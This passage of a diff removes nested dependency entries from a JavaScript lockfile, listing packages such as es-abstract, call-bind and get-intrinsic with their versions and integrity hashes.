- "es-iterator-helpers/es-abstract/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "eslint-plugin-jsx-a11y/array-includes/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "eslint-plugin-jsx-a11y/array-includes/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "eslint-plugin-jsx-a11y/array-includes/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "eslint-plugin-jsx-a11y/array-includes/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "eslint-plugin-jsx-a11y/array.prototype.flatmap/es-shim-unscopables": ["es-shim-unscopables@1.0.2", "", { "dependencies": { "hasown": "^2.0.0" } }, "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw=="],
-
- "eslint-plugin-react/array-includes/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "eslint-plugin-react/array-includes/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "eslint-plugin-react/array-includes/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "eslint-plugin-react/array-includes/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "eslint-plugin-react/array-includes/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "eslint-plugin-react/array.prototype.flatmap/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "eslint-plugin-react/array.prototype.flatmap/es-shim-unscopables": ["es-shim-unscopables@1.0.2", "", { "dependencies": { "hasown": "^2.0.0" } }, "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw=="],
-
- "eslint-plugin-react/object.values/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "eslint-plugin-react/object.values/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "eslint/js-yaml/argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
-
- "has-property-descriptors/es-define-property/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "is-finalizationregistry/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "is-finalizationregistry/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "is-regex/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "is-regex/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "is-weakset/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "jsx-ast-utils/array-includes/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "jsx-ast-utils/array-includes/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "jsx-ast-utils/array-includes/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "jsx-ast-utils/array-includes/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "jsx-ast-utils/array-includes/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
- "jsx-ast-utils/array.prototype.flat/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "jsx-ast-utils/array.prototype.flat/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "jsx-ast-utils/array.prototype.flat/es-shim-unscopables": ["es-shim-unscopables@1.0.2", "", { "dependencies": { "hasown": "^2.0.0" } }, "sha512-J3yBRXCzDu4ULnQwxyToo/OjdMx6akgVC7K6few0a7F/0wLtmKKN7I73AH5T2836UuXRqN7Qg+IIUw/+YJksRw=="],
-
- "jsx-ast-utils/object.values/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "jsx-ast-utils/object.values/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "object.assign/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "object.assign/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "object.entries/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "object.entries/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "object.fromentries/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "object.fromentries/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "object.fromentries/es-abstract/array-buffer-byte-length": ["array-buffer-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.5", "is-array-buffer": "^3.0.4" } }, "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg=="],
-
- "object.fromentries/es-abstract/arraybuffer.prototype.slice": ["arraybuffer.prototype.slice@1.0.3", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "call-bind": "^1.0.5", "define-properties": "^1.2.1", "es-abstract": "^1.22.3", "es-errors": "^1.2.1", "get-intrinsic": "^1.2.3", "is-array-buffer": "^3.0.4", "is-shared-array-buffer": "^1.0.2" } }, "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A=="],
-
- "object.fromentries/es-abstract/data-view-buffer": ["data-view-buffer@1.0.1", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA=="],
-
- "object.fromentries/es-abstract/data-view-byte-length": ["data-view-byte-length@1.0.1", "", { "dependencies": { "call-bind": "^1.0.7", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ=="],
-
- "object.fromentries/es-abstract/data-view-byte-offset": ["data-view-byte-offset@1.0.0", "", { "dependencies": { "call-bind": "^1.0.6", "es-errors": "^1.3.0", "is-data-view": "^1.0.1" } }, "sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA=="],
-
- "object.fromentries/es-abstract/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "object.fromentries/es-abstract/es-to-primitive": ["es-to-primitive@1.2.1", "", { "dependencies": { "is-callable": "^1.1.4", "is-date-object": "^1.0.1", "is-symbol": "^1.0.2" } }, "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA=="],
-
- "object.fromentries/es-abstract/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "object.fromentries/es-abstract/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "object.fromentries/es-abstract/get-symbol-description": ["get-symbol-description@1.0.2", "", { "dependencies": { "call-bind": "^1.0.5", "es-errors": "^1.3.0", "get-intrinsic": "^1.2.4" } }, "sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg=="],
-
- "object.fromentries/es-abstract/is-array-buffer": ["is-array-buffer@3.0.4", "", { "dependencies": { "call-bind": "^1.0.2", "get-intrinsic": "^1.2.1" } }, "sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw=="],
-
- "object.fromentries/es-abstract/is-data-view": ["is-data-view@1.0.1", "", { "dependencies": { "is-typed-array": "^1.1.13" } }, "sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w=="],
-
- "object.fromentries/es-abstract/is-shared-array-buffer": ["is-shared-array-buffer@1.0.3", "", { "dependencies": { "call-bind": "^1.0.7" } }, "sha512-nA2hv5XIhLR3uVzDDfCIknerhx8XUKnstuOERPNNIinXG7v9u+ohXF67vxm4TPTEPU6lm61ZkwP3c9PCB97rhg=="],
-
- "object.fromentries/es-abstract/is-string": ["is-string@1.0.7", "", { "dependencies": { "has-tostringtag": "^1.0.0" } }, "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg=="],
-
